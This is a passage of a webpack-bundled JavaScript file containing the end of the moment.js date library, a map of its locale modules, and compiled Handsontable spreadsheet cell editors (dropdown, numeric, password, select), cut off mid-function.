proto.toDate = toDate; proto.toISOString = toISOString; proto.inspect = inspect; proto.toJSON = toJSON; proto.toString = toString; proto.unix = unix; proto.valueOf = valueOf; proto.creationData = creationData; proto.year = getSetYear; proto.isLeapYear = getIsLeapYear; proto.weekYear = getSetWeekYear; proto.isoWeekYear = getSetISOWeekYear; proto.quarter = proto.quarters = getSetQuarter; proto.month = getSetMonth; proto.daysInMonth = getDaysInMonth; proto.week = proto.weeks = getSetWeek; proto.isoWeek = proto.isoWeeks = getSetISOWeek; proto.weeksInYear = getWeeksInYear; proto.isoWeeksInYear = getISOWeeksInYear; proto.date = getSetDayOfMonth; proto.day = proto.days = getSetDayOfWeek; proto.weekday = getSetLocaleDayOfWeek; proto.isoWeekday = getSetISODayOfWeek; proto.dayOfYear = getSetDayOfYear; proto.hour = proto.hours = getSetHour; proto.minute = proto.minutes = getSetMinute; proto.second = proto.seconds = getSetSecond; proto.millisecond = proto.milliseconds = getSetMillisecond; proto.utcOffset = getSetOffset; proto.utc = setOffsetToUTC; proto.local = setOffsetToLocal; proto.parseZone = setOffsetToParsedOffset; proto.hasAlignedHourOffset = hasAlignedHourOffset; proto.isDST = isDaylightSavingTime; proto.isLocal = isLocal; proto.isUtcOffset = isUtcOffset; proto.isUtc = isUtc; proto.isUTC = isUtc; proto.zoneAbbr = getZoneAbbr; proto.zoneName = getZoneName; proto.dates = deprecate('dates accessor is deprecated. Use date instead.', getSetDayOfMonth); proto.months = deprecate('months accessor is deprecated. Use month instead', getSetMonth); proto.years = deprecate('years accessor is deprecated. Use year instead', getSetYear); proto.zone = deprecate('moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/', getSetZone); proto.isDSTShifted = deprecate('isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information', isDaylightSavingTimeShifted); function createUnix (input) { return createLocal(input * 1000); } function createInZone () { return createLocal.apply(null, arguments).parseZone(); } function preParsePostFormat (string) { return string; } var proto$1 = Locale.prototype; proto$1.calendar = calendar; proto$1.longDateFormat = longDateFormat; proto$1.invalidDate = invalidDate; proto$1.ordinal = ordinal; proto$1.preparse = preParsePostFormat; proto$1.postformat = preParsePostFormat; proto$1.relativeTime = relativeTime; proto$1.pastFuture = pastFuture; proto$1.set = set; proto$1.months = localeMonths; proto$1.monthsShort = localeMonthsShort; proto$1.monthsParse = localeMonthsParse; proto$1.monthsRegex = monthsRegex; proto$1.monthsShortRegex = monthsShortRegex; proto$1.week = localeWeek; proto$1.firstDayOfYear = localeFirstDayOfYear; proto$1.firstDayOfWeek = localeFirstDayOfWeek; proto$1.weekdays = localeWeekdays; proto$1.weekdaysMin = localeWeekdaysMin; proto$1.weekdaysShort = localeWeekdaysShort; proto$1.weekdaysParse = localeWeekdaysParse; proto$1.weekdaysRegex = weekdaysRegex; proto$1.weekdaysShortRegex = weekdaysShortRegex; proto$1.weekdaysMinRegex = weekdaysMinRegex; proto$1.isPM = localeIsPM; proto$1.meridiem = localeMeridiem; function get$1 (format, index, field, setter) { var locale = getLocale(); var utc = createUTC().set(setter, index); return locale[field](utc, format); } function listMonthsImpl (format, index, field) { if (isNumber(format)) { index = format; format = undefined; } format = format || ''; if (index != null) { return get$1(format, index, field, 'month'); } var i; var out = []; for (i = 0; i < 12; i++) { out[i] = get$1(format, i, field, 'month'); } return out; } // () // (5) // (fmt, 5) // (fmt) // (true) // (true, 5) // (true, fmt, 5) // (true, fmt) function listWeekdaysImpl (localeSorted, format, index, field) { if (typeof localeSorted === 'boolean') { if (isNumber(format)) { index = format; format = undefined; } format = format || ''; } else { format = localeSorted; index = format; localeSorted = false; if (isNumber(format)) { index = format; format = undefined; } format = format || ''; } var locale = getLocale(), shift = localeSorted ? locale._week.dow : 0; if (index != null) { return get$1(format, (index + shift) % 7, field, 'day'); } var i; var out = []; for (i = 0; i < 7; i++) { out[i] = get$1(format, (i + shift) % 7, field, 'day'); } return out; } function listMonths (format, index) { return listMonthsImpl(format, index, 'months'); } function listMonthsShort (format, index) { return listMonthsImpl(format, index, 'monthsShort'); } function listWeekdays (localeSorted, format, index) { return listWeekdaysImpl(localeSorted, format, index, 'weekdays'); } function listWeekdaysShort (localeSorted, format, index) { return listWeekdaysImpl(localeSorted, format, index, 'weekdaysShort'); } function listWeekdaysMin (localeSorted, format, index) { return listWeekdaysImpl(localeSorted, format, index, 'weekdaysMin'); } getSetGlobalLocale('en', { dayOfMonthOrdinalParse: /\d{1,2}(th|st|nd|rd)/, ordinal : function (number) { var b = number % 10, output = (toInt(number % 100 / 10) === 1) ? 'th' : (b === 1) ? 'st' : (b === 2) ? 'nd' : (b === 3) ? 'rd' : 'th'; return number + output; } }); // Side effect imports hooks.lang = deprecate('moment.lang is deprecated. Use moment.locale instead.', getSetGlobalLocale); hooks.langData = deprecate('moment.langData is deprecated. Use moment.localeData instead.', getLocale); var mathAbs = Math.abs; function abs () { var data = this._data; this._milliseconds = mathAbs(this._milliseconds); this._days = mathAbs(this._days); this._months = mathAbs(this._months); data.milliseconds = mathAbs(data.milliseconds); data.seconds = mathAbs(data.seconds); data.minutes = mathAbs(data.minutes); data.hours = mathAbs(data.hours); data.months = mathAbs(data.months); data.years = mathAbs(data.years); return this; } function addSubtract$1 (duration, input, value, direction) { var other = createDuration(input, value); duration._milliseconds += direction * other._milliseconds; duration._days += direction * other._days; duration._months += direction * other._months; return duration._bubble(); } // supports only 2.0-style add(1, 's') or add(duration) function add$1 (input, value) { return addSubtract$1(this, input, value, 1); } // supports only 2.0-style subtract(1, 's') or subtract(duration) function subtract$1 (input, value) { return addSubtract$1(this, input, value, -1); } function absCeil (number) { if (number < 0) { return Math.floor(number); } else { return Math.ceil(number); } } function bubble () { var milliseconds = this._milliseconds; var days = this._days; var months = this._months; var data = this._data; var seconds, minutes, hours, years, monthsFromDays; // if we have a mix of positive and negative values, bubble down first // check: https://github.com/moment/moment/issues/2166 if (!((milliseconds >= 0 && days >= 0 && months >= 0) || (milliseconds <= 0 && days <= 0 && months <= 0))) { milliseconds += absCeil(monthsToDays(months) + days) * 864e5; days = 0; months = 0; } // The following code bubbles up values, see the tests for // examples of what that means. data.milliseconds = milliseconds % 1000; seconds = absFloor(milliseconds / 1000); data.seconds = seconds % 60; minutes = absFloor(seconds / 60); data.minutes = minutes % 60; hours = absFloor(minutes / 60); data.hours = hours % 24; days += absFloor(hours / 24); // convert days to months monthsFromDays = absFloor(daysToMonths(days)); months += monthsFromDays; days -= absCeil(monthsToDays(monthsFromDays)); // 12 months -> 1 year years = absFloor(months / 12); months %= 12; data.days = days; data.months = months; data.years = years; return this; } function daysToMonths (days) { // 400 years have 146097 days (taking into account leap year rules) // 400 years have 12 months === 4800 return days * 4800 / 146097; } function monthsToDays (months) { // the reverse of daysToMonths return months * 146097 / 4800; } function as (units) { if (!this.isValid()) { return NaN; } var days; var months; var milliseconds = this._milliseconds; units = normalizeUnits(units); if (units === 'month' || units === 'year') { days = this._days + milliseconds / 864e5; months = this._months + daysToMonths(days); return units === 'month' ? months : months / 12; } else { // handle milliseconds separately because of floating point math errors (issue #1867) days = this._days + Math.round(monthsToDays(this._months)); switch (units) { case 'week' : return days / 7 + milliseconds / 6048e5; case 'day' : return days + milliseconds / 864e5; case 'hour' : return days * 24 + milliseconds / 36e5; case 'minute' : return days * 1440 + milliseconds / 6e4; case 'second' : return days * 86400 + milliseconds / 1000; // Math.floor prevents floating point math errors here case 'millisecond': return Math.floor(days * 864e5) + milliseconds; default: throw new Error('Unknown unit ' + units); } } } // TODO: Use this.as('ms')? function valueOf$1 () { if (!this.isValid()) { return NaN; } return ( this._milliseconds + this._days * 864e5 + (this._months % 12) * 2592e6 + toInt(this._months / 12) * 31536e6 ); } function makeAs (alias) { return function () { return this.as(alias); }; } var asMilliseconds = makeAs('ms'); var asSeconds = makeAs('s'); var asMinutes = makeAs('m'); var asHours = makeAs('h'); var asDays = makeAs('d'); var asWeeks = makeAs('w'); var asMonths = makeAs('M'); var asYears = makeAs('y'); function clone$1 () { return createDuration(this); } function get$2 (units) { units = normalizeUnits(units); return this.isValid() ? this[units + 's']() : NaN; } function makeGetter(name) { return function () { return this.isValid() ? this._data[name] : NaN; }; } var milliseconds = makeGetter('milliseconds'); var seconds = makeGetter('seconds'); var minutes = makeGetter('minutes'); var hours = makeGetter('hours'); var days = makeGetter('days'); var months = makeGetter('months'); var years = makeGetter('years'); function weeks () { return absFloor(this.days() / 7); } var round = Math.round; var thresholds = { ss: 44, // a few seconds to seconds s : 45, // seconds to minute m : 45, // minutes to hour h : 22, // hours to day d : 26, // days to month M : 11 // months to year }; // helper function for moment.fn.from, moment.fn.fromNow, and moment.duration.fn.humanize function substituteTimeAgo(string, number, withoutSuffix, isFuture, locale) { return locale.relativeTime(number || 1, !!withoutSuffix, string, isFuture); } function relativeTime$1 (posNegDuration, withoutSuffix, locale) { var duration = createDuration(posNegDuration).abs(); var seconds = round(duration.as('s')); var minutes = round(duration.as('m')); var hours = round(duration.as('h')); var days = round(duration.as('d')); var months = round(duration.as('M')); var years = round(duration.as('y')); var a = seconds <= thresholds.ss && ['s', seconds] || seconds < thresholds.s && ['ss', seconds] || minutes <= 1 && ['m'] || minutes < thresholds.m && ['mm', minutes] || hours <= 1 && ['h'] || hours < thresholds.h && ['hh', hours] || days <= 1 && ['d'] || days < thresholds.d && ['dd', days] || months <= 1 && ['M'] || months < thresholds.M && ['MM', months] || years <= 1 && ['y'] || ['yy', years]; a[2] = withoutSuffix; a[3] = +posNegDuration > 0; a[4] = locale; return substituteTimeAgo.apply(null, a); } // This function allows you to set the rounding function for relative time strings function getSetRelativeTimeRounding (roundingFunction) { if (roundingFunction === undefined) { return round; } if (typeof(roundingFunction) === 'function') { round = roundingFunction; return true; } return false; } // This function allows you to set a threshold for relative time strings function getSetRelativeTimeThreshold (threshold, limit) { if (thresholds[threshold] === undefined) { return false; } if (limit === undefined) { return thresholds[threshold]; } thresholds[threshold] = limit; if (threshold === 's') { thresholds.ss = limit - 1; } return true; } function humanize (withSuffix) { if (!this.isValid()) { return this.localeData().invalidDate(); } var locale = this.localeData(); var output = relativeTime$1(this, !withSuffix, locale); if (withSuffix) { output = locale.pastFuture(+this, output); } return locale.postformat(output); } var abs$1 = Math.abs; function sign(x) { return ((x > 0) - (x < 0)) || +x; } function toISOString$1() { // for ISO strings we do not use the normal bubbling rules: // * milliseconds bubble up until they become hours // * days do not bubble at all // * months bubble up until they become years // This is because there is no context-free conversion between hours and days // (think of clock changes) // and also not between days and months (28-31 days per month) if (!this.isValid()) { return this.localeData().invalidDate(); } var seconds = abs$1(this._milliseconds) / 1000; var days = abs$1(this._days); var months = abs$1(this._months); var minutes, hours, years; // 3600 seconds -> 60 minutes -> 1 hour minutes = absFloor(seconds / 60); hours = absFloor(minutes / 60); seconds %= 60; minutes %= 60; // 12 months -> 1 year years = absFloor(months / 12); months %= 12; // inspired by https://github.com/dordille/moment-isoduration/blob/master/moment.isoduration.js var Y = years; var M = months; var D = days; var h = hours; var m = minutes; var s = seconds ? seconds.toFixed(3).replace(/\.?0+$/, '') : ''; var total = this.asSeconds(); if (!total) { // this is the same as C#'s (Noda) and python (isodate)... // but not other JS (goog.date) return 'P0D'; } var totalSign = total < 0 ? '-' : ''; var ymSign = sign(this._months) !== sign(total) ? '-' : ''; var daysSign = sign(this._days) !== sign(total) ? '-' : ''; var hmsSign = sign(this._milliseconds) !== sign(total) ? '-' : ''; return totalSign + 'P' + (Y ? ymSign + Y + 'Y' : '') + (M ? ymSign + M + 'M' : '') + (D ? daysSign + D + 'D' : '') + ((h || m || s) ? 'T' : '') + (h ? hmsSign + h + 'H' : '') + (m ? hmsSign + m + 'M' : '') + (s ? hmsSign + s + 'S' : ''); } var proto$2 = Duration.prototype; proto$2.isValid = isValid$1; proto$2.abs = abs; proto$2.add = add$1; proto$2.subtract = subtract$1; proto$2.as = as; proto$2.asMilliseconds = asMilliseconds; proto$2.asSeconds = asSeconds; proto$2.asMinutes = asMinutes; proto$2.asHours = asHours; proto$2.asDays = asDays; proto$2.asWeeks = asWeeks; proto$2.asMonths = asMonths; proto$2.asYears = asYears; proto$2.valueOf = valueOf$1; proto$2._bubble = bubble; proto$2.clone = clone$1; proto$2.get = get$2; proto$2.milliseconds = milliseconds; proto$2.seconds = seconds; proto$2.minutes = minutes; proto$2.hours = hours; proto$2.days = days; proto$2.weeks = weeks; proto$2.months = months; proto$2.years = years; proto$2.humanize = humanize; proto$2.toISOString = toISOString$1; proto$2.toString = toISOString$1; proto$2.toJSON = toISOString$1; proto$2.locale = locale; proto$2.localeData = localeData; proto$2.toIsoString = deprecate('toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)', toISOString$1); proto$2.lang = lang; // Side effect imports // FORMATTING addFormatToken('X', 0, 0, 'unix'); addFormatToken('x', 0, 0, 'valueOf'); // PARSING addRegexToken('x', matchSigned); addRegexToken('X', matchTimestamp); addParseToken('X', function (input, array, config) { config._d = new Date(parseFloat(input, 10) * 1000); }); addParseToken('x', function (input, array, config) { config._d = new Date(toInt(input)); }); // Side effect imports hooks.version = '2.23.0'; setHookCallback(createLocal); hooks.fn = proto; hooks.min = min; hooks.max = max; hooks.now = now; hooks.utc = createUTC; hooks.unix = createUnix; hooks.months = listMonths; hooks.isDate = isDate; hooks.locale = getSetGlobalLocale; hooks.invalid = createInvalid; hooks.duration = createDuration; hooks.isMoment = isMoment; hooks.weekdays = listWeekdays; hooks.parseZone = createInZone; hooks.localeData = getLocale; hooks.isDuration = isDuration; hooks.monthsShort = listMonthsShort; hooks.weekdaysMin = listWeekdaysMin; hooks.defineLocale = defineLocale; hooks.updateLocale = updateLocale; hooks.locales = listLocales; hooks.weekdaysShort = listWeekdaysShort; hooks.normalizeUnits = normalizeUnits; hooks.relativeTimeRounding = getSetRelativeTimeRounding; hooks.relativeTimeThreshold = getSetRelativeTimeThreshold; hooks.calendarFormat = getCalendarFormat; hooks.prototype = proto; // currently HTML5 input type only supports 24-hour formats hooks.HTML5_FMT = { DATETIME_LOCAL: 'YYYY-MM-DDTHH:mm', // DATETIME_LOCAL_SECONDS: 'YYYY-MM-DDTHH:mm:ss', // DATETIME_LOCAL_MS: 'YYYY-MM-DDTHH:mm:ss.SSS', // DATE: 'YYYY-MM-DD', // TIME: 'HH:mm', // TIME_SECONDS: 'HH:mm:ss', // TIME_MS: 'HH:mm:ss.SSS', // WEEK: 'GGGG-[W]WW', // MONTH: 'YYYY-MM' // }; return hooks; }))); /* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(166)(module))) /***/ }), /* 618 */ /***/ (function(module, exports, __webpack_require__) { var map = { "./af": 296, "./af.js": 296, "./ar": 297, "./ar-dz": 298, "./ar-dz.js": 298, "./ar-kw": 299, "./ar-kw.js": 299, "./ar-ly": 300, "./ar-ly.js": 300, "./ar-ma": 301, "./ar-ma.js": 301, "./ar-sa": 302, "./ar-sa.js": 302, "./ar-tn": 303, "./ar-tn.js": 303, "./ar.js": 297, "./az": 304, "./az.js": 304, "./be": 305, "./be.js": 305, "./bg": 306, "./bg.js": 306, "./bm": 307, "./bm.js": 307, "./bn": 308, "./bn.js": 308, "./bo": 309, "./bo.js": 309, "./br": 310, "./br.js": 310, "./bs": 311, "./bs.js": 311, "./ca": 312, "./ca.js": 312, "./cs": 313, "./cs.js": 313, "./cv": 314, "./cv.js": 314, "./cy": 315, "./cy.js": 315, "./da": 316, "./da.js": 316, "./de": 317, "./de-at": 318, "./de-at.js": 318, "./de-ch": 319, "./de-ch.js": 319, "./de.js": 317, "./dv": 320, "./dv.js": 320, "./el": 321, "./el.js": 321, "./en-au": 322, "./en-au.js": 322, "./en-ca": 323, "./en-ca.js": 323, "./en-gb": 324, "./en-gb.js": 324, "./en-ie": 325, "./en-ie.js": 325, "./en-il": 326, "./en-il.js": 326, "./en-nz": 327, "./en-nz.js": 327, "./eo": 328, "./eo.js": 328, "./es": 329, "./es-do": 330, "./es-do.js": 330, "./es-us": 331, "./es-us.js": 331, "./es.js": 329, "./et": 332, "./et.js": 332, "./eu": 333, "./eu.js": 333, "./fa": 334, "./fa.js": 334, "./fi": 335, "./fi.js": 335, "./fo": 336, "./fo.js": 336, "./fr": 337, "./fr-ca": 338, "./fr-ca.js": 338, "./fr-ch": 339, "./fr-ch.js": 339, "./fr.js": 337, "./fy": 340, "./fy.js": 340, "./gd": 341, "./gd.js": 341, "./gl": 342, "./gl.js": 342, "./gom-latn": 343, "./gom-latn.js": 343, "./gu": 344, "./gu.js": 344, "./he": 345, "./he.js": 345, "./hi": 346, "./hi.js": 346, "./hr": 347, "./hr.js": 347, "./hu": 348, "./hu.js": 348, "./hy-am": 349, "./hy-am.js": 349, "./id": 350, "./id.js": 350, "./is": 351, "./is.js": 351, "./it": 352, "./it.js": 352, "./ja": 353, "./ja.js": 353, "./jv": 354, "./jv.js": 354, "./ka": 355, "./ka.js": 355, "./kk": 356, "./kk.js": 356, "./km": 357, "./km.js": 357, "./kn": 358, "./kn.js": 358, "./ko": 359, "./ko.js": 359, "./ku": 360, "./ku.js": 360, "./ky": 361, "./ky.js": 361, "./lb": 362, "./lb.js": 362, "./lo": 363, "./lo.js": 363, "./lt": 364, "./lt.js": 364, "./lv": 365, "./lv.js": 365, "./me": 366, "./me.js": 366, "./mi": 367, "./mi.js": 367, "./mk": 368, "./mk.js": 368, "./ml": 369, "./ml.js": 369, "./mn": 370, "./mn.js": 370, "./mr": 371, "./mr.js": 371, "./ms": 372, "./ms-my": 373, "./ms-my.js": 373, "./ms.js": 372, "./mt": 374, "./mt.js": 374, "./my": 375, "./my.js": 375, "./nb": 376, "./nb.js": 376, "./ne": 377, "./ne.js": 377, "./nl": 378, "./nl-be": 379, "./nl-be.js": 379, "./nl.js": 378, "./nn": 380, "./nn.js": 380, "./pa-in": 381, "./pa-in.js": 381, "./pl": 382, "./pl.js": 382, "./pt": 383, "./pt-br": 384, "./pt-br.js": 384, "./pt.js": 383, "./ro": 385, "./ro.js": 385, "./ru": 386, "./ru.js": 386, "./sd": 387, "./sd.js": 387, "./se": 388, "./se.js": 388, "./si": 389, "./si.js": 389, "./sk": 390, "./sk.js": 390, "./sl": 391, "./sl.js": 391, "./sq": 392, "./sq.js": 392, "./sr": 393, "./sr-cyrl": 394, "./sr-cyrl.js": 394, "./sr.js": 393, "./ss": 395, "./ss.js": 395, "./sv": 396, "./sv.js": 396, "./sw": 397, "./sw.js": 397, "./ta": 398, "./ta.js": 398, "./te": 399, "./te.js": 399, "./tet": 400, "./tet.js": 400, "./tg": 401, "./tg.js": 401, "./th": 402, "./th.js": 402, "./tl-ph": 403, "./tl-ph.js": 403, "./tlh": 404, "./tlh.js": 404, "./tr": 405, "./tr.js": 405, "./tzl": 406, "./tzl.js": 406, "./tzm": 407, "./tzm-latn": 408, "./tzm-latn.js": 408, "./tzm.js": 407, "./ug-cn": 409, "./ug-cn.js": 409, "./uk": 410, "./uk.js": 410, "./ur": 411, "./ur.js": 411, "./uz": 412, "./uz-latn": 413, "./uz-latn.js": 413, "./uz.js": 412, "./vi": 414, "./vi.js": 414, "./x-pseudo": 415, "./x-pseudo.js": 415, "./yo": 416, "./yo.js": 416, "./zh-cn": 417, "./zh-cn.js": 417, "./zh-hk": 418, "./zh-hk.js": 418, "./zh-tw": 419, "./zh-tw.js": 419 }; function webpackContext(req) { return __webpack_require__(webpackContextResolve(req)); }; function webpackContextResolve(req) { var id = map[req]; if(!(id + 1)) // check for number or string throw new Error("Cannot find module '" + req + "'."); return id; }; webpackContext.keys = function webpackContextKeys() { return Object.keys(map); }; webpackContext.resolve = webpackContextResolve; module.exports = webpackContext; webpackContext.id = 618; /***/ }), /* 619 */ /***/ (function(module, exports) { // removed by extract-text-webpack-plugin /***/ }), /* 620 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _autocompleteEditor = _interopRequireDefault(__webpack_require__(294)); var _pluginHooks = _interopRequireDefault(__webpack_require__(22)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } /** * @private * @editor DropdownEditor * @class DropdownEditor * @dependencies AutocompleteEditor */ var DropdownEditor = /*#__PURE__*/ function (_AutocompleteEditor) { _inherits(DropdownEditor, _AutocompleteEditor); function DropdownEditor() { _classCallCheck(this, DropdownEditor); return _possibleConstructorReturn(this, _getPrototypeOf(DropdownEditor).apply(this, arguments)); } _createClass(DropdownEditor, [{ key: "prepare", value: function prepare(row, col, prop, td, originalValue, cellProperties) { _get(_getPrototypeOf(DropdownEditor.prototype), "prepare", this).call(this, row, col, prop, td, originalValue, cellProperties); this.cellProperties.filter = false; this.cellProperties.strict = true; } }]); return DropdownEditor; }(_autocompleteEditor.default); _pluginHooks.default.getSingleton().add('beforeValidate', function (value, row, col) { var cellMeta = this.getCellMeta(row, this.propToCol(col)); if (cellMeta.editor === DropdownEditor) { if (cellMeta.strict === void 0) { cellMeta.filter = false; cellMeta.strict = true; } } }); var _default = DropdownEditor; exports.default = _default; /***/ }), /* 621 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _textEditor = _interopRequireDefault(__webpack_require__(77)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } /** * @private * @editor NumericEditor * @class NumericEditor */ var NumericEditor = /*#__PURE__*/ function (_TextEditor) { _inherits(NumericEditor, _TextEditor); function NumericEditor() { _classCallCheck(this, NumericEditor); return _possibleConstructorReturn(this, _getPrototypeOf(NumericEditor).apply(this, arguments)); } return NumericEditor; }(_textEditor.default); var _default = NumericEditor; exports.default = _default; /***/ }), /* 622 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _textEditor = _interopRequireDefault(__webpack_require__(77)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } /** * @private * @editor PasswordEditor * @class PasswordEditor * @dependencies TextEditor */ var PasswordEditor = /*#__PURE__*/ function (_TextEditor) { _inherits(PasswordEditor, _TextEditor); function PasswordEditor() { _classCallCheck(this, PasswordEditor); return _possibleConstructorReturn(this, _getPrototypeOf(PasswordEditor).apply(this, arguments)); } _createClass(PasswordEditor, [{ key: "createElements", value: function createElements() { _get(_getPrototypeOf(PasswordEditor.prototype), "createElements", this).call(this); this.TEXTAREA = document.createElement('input'); this.TEXTAREA.setAttribute('type', 'password'); this.TEXTAREA.className = 'handsontableInput'; this.textareaStyle = this.TEXTAREA.style; this.textareaStyle.width = 0; this.textareaStyle.height = 0; (0, _element.empty)(this.TEXTAREA_PARENT); this.TEXTAREA_PARENT.appendChild(this.TEXTAREA); } }]); return PasswordEditor; }(_textEditor.default); var _default = PasswordEditor; exports.default = _default; /***/ }), /* 623 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _event = __webpack_require__(18); var _unicode = __webpack_require__(32); var _baseEditor = _interopRequireWildcard(__webpack_require__(74)); var _object = __webpack_require__(2); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } var SelectEditor = _baseEditor.default.prototype.extend(); /** * @private * @editor SelectEditor * @class SelectEditor */ SelectEditor.prototype.init = function () { this.select = document.createElement('SELECT'); (0, _element.addClass)(this.select, 'htSelectEditor'); this.select.style.display = 'none'; this.instance.rootElement.appendChild(this.select); this.registerHooks(); }; SelectEditor.prototype.registerHooks = function () { var _this = this; 